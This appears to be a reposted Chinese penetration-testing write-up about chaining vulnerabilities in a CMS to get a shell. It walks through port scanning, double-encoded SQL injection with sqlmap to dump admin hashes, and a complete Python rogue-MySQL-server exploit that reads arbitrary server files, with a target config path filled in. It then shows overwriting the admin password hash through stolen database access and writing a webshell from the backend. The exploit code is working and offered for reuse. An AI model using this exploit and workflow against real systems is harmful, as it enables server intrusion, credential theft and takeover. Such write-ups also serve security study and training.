多种漏洞配合利用--getshell
2023-12-28 15:27:24 Author: 编码安全研究(查看原文) 阅读量:14 收藏

多种漏洞配合利用--getshell写在前面环境信息收集SQL二次编码注入漏洞利用任意文件读取漏洞利用获取指定密文

写在前面

在渗透中,我们往往需要结合多种漏洞进行getshell,下面将通过多种漏洞配合利用来getshell服务器。

环境

信息收集

netdiscover探测存活主机


nmap探测web服务器端口开放情况

Namp扫描端口的详细信息

使用Whatweb进行cms识别,识别出网站cms

SQL二次编码注入漏洞利用

利用网上公开的漏洞进行利用。由于该cms报过非常多漏洞,使用二次编码SQL注入进行利用。先测试这个网站的漏洞有没有给修复。

发现过滤了'

使用二次编码后发现可以成功访问
此时使用SQLmap中二次编码模块进行注入

获取数据库用户

获取数据库名称

获取www_ddd4_com数据库的表

获取doc_user表中的数据,得到后台登录的账号和密码的密文

当得到这一串网站后台的登录密文后,我尝试各种方式破解,结果都无效。要想登录后台还要想办法,于是先寻找网站的后台

任意文件读取漏洞利用

该cms还报过任意文件读取漏洞,直接使用exp进行攻击
附上师傅写的exp:

#!/usr/bin/env python
#coding: utf8

import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
'/www/wwwroot/www.ddd4.com/config/doc-config-cn.php',//为要读取的文件
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)

class LastPacket(Exception):
pass

class OutOfOrder(Exception):
pass

class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()

class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)

z = mysql_listener()
# daemonize()
asyncore.loop()

获取报错路径

读取到/etc/passsword的文件

读取到数据库的配置文件,获取到数据库的账号与密文

利用刚刚得到的密文进行MySQL数据库连接,这里的MySQL支持外连
也可以通过数据库查询获取密文

此时我已经拿到数据库权限,但想要getshell还是要继续思考。

获取指定密文

为了更好的分析,在本地搭建了一个网站,找到登录文件后发现加密函数,寻找该功能函数,还不死心,继续分析是否可逆。

到达该功能函数页面以后,发现通过sha1、md5等加密算法结合加密,说明此密文不可逆。此时我要怎么办呢?想到刚刚已经拿到数据库权限,如果我根据自己的密码按照该网站的加密算法去生成密文,通过数据库权限更改密文,此时我不就知道密码了吗?

马上根据自己的需要,将明文admin通过登录界面的代码来进行输出加密后的密文,这里为了抓包更好寻找密文,前面加了一些66垃圾数据。
其中这一串代码为新加的代码,目的是为了获取admin的密文


$docEncryption = new docEncryption('admin');
echo $docEncryption->to_string();```

[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-f45ef0ea0f8a6e8ff992b87ea15434bc31d32b7d.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-f45ef0ea0f8a6e8ff992b87ea15434bc31d32b7d.png)
通过抓包后得到密文
[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-32d5f034507df81b39ea2a9a9d6ab980e8cd0119.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-32d5f034507df81b39ea2a9a9d6ab980e8cd0119.png)

除了以上方法外,我们可以直接利用我们搭建网站设置的密码,通过数据库去查询密文,照样可以获取密文

[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-6069765584e951014eb475e6d79697d2b7930c66.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-6069765584e951014eb475e6d79697d2b7930c66.png)
在获取的数据库权限中去更改密文
[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3f64416848e416b223e93bbacbd2909f3a60a26e.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3f64416848e416b223e93bbacbd2909f3a60a26e.png)
确认密文更改成功
[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3eeaeaa599bcfc616f6576c50774dac756084594.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3eeaeaa599bcfc616f6576c50774dac756084594.png)
通过修改的密码进入后台后,从功能点出发,发现可以写码。
[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3d4a32f4bf3747f3039012d6d824e2be93d39810.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3d4a32f4bf3747f3039012d6d824e2be93d39810.png)
成功getshell
[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-8c43ddb49d9d58832acdc312ffecb57830211f57.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-8c43ddb49d9d58832acdc312ffecb57830211f57.png)
## 总体思路
[![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-28baf1fdb9e8f9f8caa6e7e7ef2764e2f63a43ad.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-28baf1fdb9e8f9f8caa6e7e7ef2764e2f63a43ad.png)
## 总结
通过此实例,我们发现在渗透时要善于利用网上公开漏洞进行渗透,并且要学会多种漏洞结合进行利用。

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